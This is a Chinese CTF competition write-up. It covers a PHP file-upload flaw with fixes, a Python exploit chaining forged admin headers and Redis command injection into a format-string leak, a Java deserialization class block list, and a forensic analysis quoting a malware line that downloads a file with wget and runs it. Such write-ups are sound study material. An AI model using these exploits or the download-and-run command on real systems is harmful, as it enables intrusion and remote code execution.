ccb&ciscn线下半决赛
有幸拿到一等奖
awdp
php-master
导入
1 2 3 4 5
| docker load -i xxx.tar
docker run -it <images> /bin/bash
|
查看运行端口,发现就是80,那就可以用以下命令运行docker
1 2 3
| docker run -d -p 4545:80 <images>
docker exec -it <container> /bin/bash
|
在容器中找到index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| <?php @error_reporting(E_ALL);
if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file'])) { $file = $_FILES['file']; $upload_dir = ''; $target_file = $upload_dir . basename($file['name']); $result = move_uploaded_file($file['tmp_name'], $target_file); if ($result) { $message = '文件上传成功!'; $msg_class = 'success'; } else { $message = '文件上传失败'; $msg_class = 'error'; } } else { $message = '没有选择要上传的文件'; $msg_class = 'error'; } } ?>
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>PHP MASTER</title> <style> body { font-family: Arial, sans-serif; max-width: 500px; margin: 50px auto; padding: 20px; } .upload-box { border: 2px dashed padding: 30px; text-align: center; } .btn { background: color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; } .btn:hover { background: } .message { padding: 15px; margin: 20px 0; border-radius: 4px; } .success { background: color: border: 1px solid } .error { background: color: border: 1px solid } </style> </head> <body> <h2>PHP MASTER</h2> <?php if (isset($message)): ?> <div class="message <?php echo $msg_class; ?>"> <?php echo $message; ?> </div> <?php endif; ?>
<form action="" method="post" enctype="multipart/form-data" class="upload-box"> <p>请选择要上传的文件:</p> <input type="file" name="file" required> <br><br> <button type="submit" class="btn">上传文件</button> </form> </body>
|
fix
几个想法:
- 加密文件名,但是也很容易绕过,暴露出文件名就绕过了
- 黑名单限制 不大安全,可以过不了check
- 白名单限制
- 设置安全的upload_dir路径
- 加密文件名
1 2 3 4 5 6
| $hash_name = hash_hmac('sha256', uniqid() . $file['name'], $secret_key); $safe_filename = $hash_name . '.' . $file_ext; $target_file = realpath($upload_dir) . '/' . $safe_filename;
$safe_filename = md5(uniqid(mt_rand(), true)) . '.' . $file_ext;
|
- 黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| $blacklist_extensions = ['php', 'php3', 'php4', 'php5', 'phtml', 'phar', 'htaccess', 'exe', 'sh', 'bat', 'cmd', 'jsp', 'asp', 'aspx']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $file = $_FILES['file'];
$file_ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (in_array($file_ext, $blacklist_extensions)) { die('上传的文件类型被禁止!'); }
if (move_uploaded_file($file['tmp_name'], $target_file)) { echo '文件上传成功!'; } else { echo '文件上传失败'; } } else { echo '没有选择要上传的文件或上传失败'; }
|
杂糅
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| @error_reporting(0); ini_set('display_errors', 0);
$upload_dir = __DIR__ . '/uploads/'; $max_file_size = 2 * 1024 * 1024;
$blacklist_extensions = ['php', 'php3', 'php4', 'php5', 'phtml', 'phar', 'htaccess', 'exe', 'sh', 'bat', 'cmd', 'jsp', 'asp', 'aspx']; $blacklist_mime_types = ['application/x-httpd-php', 'application/x-php', 'application/x-httpd-php-source'];
if (!is_dir($upload_dir)) { mkdir($upload_dir, 0755, true); }
if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $file = $_FILES['file'];
$file_ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
$finfo = new finfo(FILEINFO_MIME_TYPE); $mime_type = $finfo->file($file['tmp_name']);
if (in_array($file_ext, $blacklist_extensions)) { die('上传的文件类型被禁止!'); }
if (in_array($mime_type, $blacklist_mime_types)) { die('非法的 MIME 类型'); }
if (preg_match('/\.(php[0-9]?|phtml|phar)$/i', $file['name'])) { die('禁止上传双扩展名文件!'); }
if ($file['size'] > $max_file_size) { die('文件过大'); }
$safe_filename = uniqid() . '.' . $file_ext; $target_file = realpath($upload_dir) . '/' . $safe_filename;
if (strpos($target_file, realpath($upload_dir)) !== 0) { die('非法的文件路径'); }
if (move_uploaded_file($file['tmp_name'], $target_file)) { echo '文件上传成功!'; } else { echo '文件上传失败'; } } else { echo '没有选择要上传的文件或上传失败'; } }
|
attack
没有任何防护,直接写马
rng-assistant
附件地址:CTFReproduction/2025/ciscn&ccb/rng-assistant at main · symya/CTFReproduction
借鉴0psu3的思路,不得不说,师傅的思路确实非常精妙
看源码
与 Redis 通信,并管理模型端口映射
1 2 3
| redis_conn = redis.Redis(host="localhost", port=6379, db=0)
model_ports = {"math-v1": 54321, "default": 50051}
|
在以下两个路由 /admin/raw_ask 和 /admin/model_ports 中,管理员身份校验依赖于硬编码的密钥
1 2 3 4 5 6 7
| if ( "user" not in session or request.headers.get("X-User-Role") != "admin" or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc" ): return jsonify({"error": "Access denied"}), 403
|
伪造请求头就能绕过。
在/admin/model_ports 路由中,可以model_id和port可控
1 2 3 4 5 6 7 8 9 10 11 12 13
| @app.route("/admin/model_ports", methods=["POST", "PUT", "DELETE"]) def manage_model_ports(): if ( "user" not in session or request.headers.get("X-User-Role") != "admin" or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc" ): return jsonify({"error": "Access denied"}), 403
data = request.json model_id = data.get("model_id") port = data.get("port")
|
所以可以以管理员身份调用 /admin/model_ports 路由,篡改模型端口映射,将 math-v1 指向 Redis 服务
/admin/raw_ask 路由中,代码将用户输入的自定义提示prompt直接发送到对应model_id的服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| @app.route("/admin/raw_ask", methods=["POST", "PUT", "DELETE"]) def manage_ask(): if ( "user" not in session or request.headers.get("X-User-Role") != "admin" or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc" ): return jsonify({"error": "Access denied"}), 403
data = request.json model_id = data.get("model_id", "default") custom_prompt = data.get("prompt")
final_prompt = custom_prompt
response = query_model(final_prompt, model_id) return jsonify({"answer": response, "user": whoami(session['user'])})
|
在这里就可以直接指向redis服务,发送SET命令,将Redis 中的 prompt:math-v1 键的值设置为 {t.__init__.__globals__},实现命令注入
最后在/ask路由中,使用 .format() 渲染 Redis 中的模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @app.route("/ask", methods=["POST"]) def ask_question(): if "user" not in session: return jsonify({"error": "Login required"}), 401
data = request.json question = data.get("question") model_id = data.get("model_id", "default")
final_prompt = generate_prompt(question)
response = query_model(final_prompt, model_id) res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])} return jsonify(res)
|
当 prompt:math-v1 被修改为 {t.__init__.__globals__} 后,final_prompt 中的 format() 将解析 Python 全局变量
session有时间限制,直接改包来不及
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| import requests from flask import session from requests import Session
proxies = { 'http': None, 'https': None, }
base_url = "http://192.168.111.100:18082/"
headers = { "Content-Type": "application/json" }
admin_headers = { "Content-Type": "application/json", "X-User-Role": "admin", "X-Secret": "210317a2ee916063014c57d879b9d3bc" }
def register(sess: Session): data = { "username": "symya", "password": "symya" } res = sess.post(url = base_url + "register",headers = headers,json = data,proxies=proxies) print(res.status_code) print(res.text)
def login(sess: Session): data = { "username": "symya", "password": "symya" } res = sess.post(url = base_url + "login",headers=headers,json=data,proxies=proxies) print(res.status_code) print(res.text)
def admin_model_ports(sess:Session): data = { "model_id": "exp", "port": 6379 } res = sess.post(url = base_url + "admin/model_ports",headers=admin_headers,json=data,proxies=proxies) print(res.status_code) print(res.text)
def admin_raw_ask(sess:Session): data = { "model_id": "exp", "prompt":'\r\nSET "prompt:math-v1" "{t.__init__.__globals__}"\r\n' } res = sess.post(url = base_url+"/admin/raw_ask",json=data,headers=admin_headers,proxies=proxies) print(res.status_code) print(res.text)
def ask(sess: Session,prompt: str): data = { "question": f"{prompt}", "model_id": "exp" } res = sess.post(url = base_url + "ask",headers=headers,json=data) print(res.status_code) print(res.text)
if __name__ == "__main__": sess = Session() register(sess) login(sess) admin_model_ports(sess) admin_raw_ask(sess) ask(sess,"flag")
|
注意!使用docker-compose的方式启动会无法正常暴露redis服务,需要自行修改成0.0.0.0
1 2 3
| root@f1eb3dff54f8:/app tcp LISTEN 0 511 127.0.0.1:6379 0.0.0.0:* tcp LISTEN 0 511 [::1]:6379 [::]:*
|
time-capsule
cfr反编译,导入配置文件。
冷部署
过滤掉HikariCP FieldGetterHandler SignedObject 类即可。
SafeObjectInputStream.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package com.ctf.util;
import java.io.IOException; import java.io.InputStream; import java.io.InvalidClassException; import java.io.ObjectInputStream; import java.io.ObjectStreamClass; import java.util.Set;
public class SafeObjectInputStream extends ObjectInputStream {
// 黑名单:禁止这些类被反序列化 private static final Set<String> BLOCKED_CLASSES = Set.of( "javax.crypto.SignedObject", "com.zaxxer.hikari.HikariConfig", // HikariCP "com.zaxxer.hikari.util.PropertyElf", "org.apache.commons.beanutils.BeanComparator", // ysoserial gadget "org.codehaus.groovy.runtime.ConvertedClosure", "org.springframework.beans.factory.ObjectFactory", "sun.reflect.annotation.AnnotationInvocationHandler", "sun.reflect.DelegatingClassLoader", "org.springframework.aop.framework.AdvisedSupport", "FieldGetterHandler" // 自定义添加 );
public SafeObjectInputStream(InputStream in) throws IOException { super(in); }
@Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); if (isBlocked(className)) { throw new InvalidClassException("Blocked deserialization of class: " + className); } return super.resolveClass(desc); }
private boolean isBlocked(String className) { return BLOCKED_CLASSES.stream().anyMatch(className::equals); } }
|
CLASS_LIB=$(find ./BOOT-INF/lib/ -name “*.jar” | tr ‘\n’ ‘:’);
javac -cp “.:${CLASS_LIB%:}” ./com/example/DemoApplication.java
一键式冷部署脚本
cold_deploy.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #!/bin/bash
JAR_PATH="myapp.jar" JAVA_SRC="com/example/DemoApplication.java" MAIN_CLASS_DIR="BOOT-INF/classes" OUTPUT_JAR="myapp-updated.jar" WORK_DIR="jar-unpack"
rm -rf "$WORK_DIR" mkdir "$WORK_DIR" cp "$JAR_PATH" "$WORK_DIR/" cd "$WORK_DIR" || exit 1 jar -xf "$(basename "$JAR_PATH")"
echo "[*] Compiling $JAVA_SRC ..." CLASS_LIB=$(find ./BOOT-INF/lib/ -name "*.jar" | tr '\n' ':' | sed 's/:$//')
javac -cp ".:$CLASS_LIB" "../$JAVA_SRC" if [ $? -ne 0 ]; then echo "[!] Compilation failed." exit 1 fi
DEST_CLASS="${JAVA_SRC%.java}.class" DEST_PATH="$MAIN_CLASS_DIR/${DEST_CLASS#com/}" mkdir -p "$(dirname "$DEST_PATH")" mv "../$DEST_CLASS" "$DEST_PATH"
echo "[*] Repacking into $OUTPUT_JAR ..." jar -cfM "../$OUTPUT_JAR" .
echo "[✔] Done. Updated JAR is at: $(realpath ../$OUTPUT_JAR)"
|
isw
应急响应
小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取flag文件。
请根据以下问题进行提交:
题目1:找出主机上木马回连的主控端服务器IP地址[不定时(3~5分钟)周期性],并以flag{MD5}形式提交,其中MD5加密目标的原始字符串格式IP:port。
题目2:找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}
题目3:找出主机上加载远控木马的持久化程序(下载者),其功能为下载并执行远控木马,计算该文件的MD5, 结果提交形式:flag{MD5}。
题目4:查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。
题目5:分析题目2中找到的远控木马,获取木马通信加密密钥, 结果提交形式:flag{通信加密密钥}。
题目6:分析题目3中持久化程序(下载者),找到攻击者分发远控木马使用的服务器,并获取该服务器权限,找到flag,结果提交形式:flag{xxxx}。tips:压缩包密码最后一位为.
题目7:获取题目2中找到的远控木马的主控端服务器权限,查找flag文件,结果提交形式:flag{xxxx}
入口主机请通过 ssh 进行登录,登录口令为:ubuntu/admin_123456,如需 root 权限请使用 sudo;
第一层解压密码:5e9c5e0370a9c29816b44dfbe2ae5a8d
第二层解压密码:81c7e0d7a82ee016e304fb847c31e497
链接: https://pan.baidu.com/s/1erbJPpMlXLCHEpdmXEuvOg?pwd=q1uz 提取码: q1uz
–来自百度网盘超级会员v7的分享
flag1
找出主机上木马回连的主控端服务器IP地址[不定时(3~5分钟)周期性],并以flag{MD5}形式提交,其中MD5加密目标的原始字符串格式IP:port。
将镜像导入r-studio中
在/home/ubuntu目录下找到可疑文件:1.txt

找这个文件
/tmp/.system_upgrade
没找到
在/home/ubuntu目录下还存在.viminfo文件,查看

“/etc/systemd/system/system-upgrade.service”

指向/lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko
down下来,ida打开

得到第一题答案为
192.168.57.203:4948

flag{59110f555b5e5cd0a8713a447b082d63}
flag2
找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}

在ubuntu那台机子上计算文件md5即可

flag{bccad26b665ca175cd02aca2903d8b1e}
flag3
找出主机上加载远控木马的持久化程序(下载者),其功能为下载并执行远控木马,计算该文件的MD5, 结果提交形式:flag{MD5}。
就是system-upgrade.ko
flag{78edba7cbd107eb6e3d2f90f5eca734e}
flag4
查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。
也就是一开始找到的1.txt文件
1
| wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
|
下载文件并赋予可执行权限
flag{9729aaace6c83b11b17b6bc3b340d00b}
flag5
分析题目2中找到的远控木马,获取木马通信加密密钥, 结果提交形式:flag{通信加密密钥}。
逆向分析system-agentd文件,线下真不会hhhhhh,逆向手nb,但可惜没带逆向(:
线上打直接丢到微步云沙箱里头跑一跑(但线下不行啊hhhh,看见微步出了个本地沙箱,有时间玩一玩
finalshell没加载过来,用scp的方式传输systemd-agentd
1
| cp ubuntu@52.83.27.239:/lib/systemd/systemd-agentd /home/kali/
|
……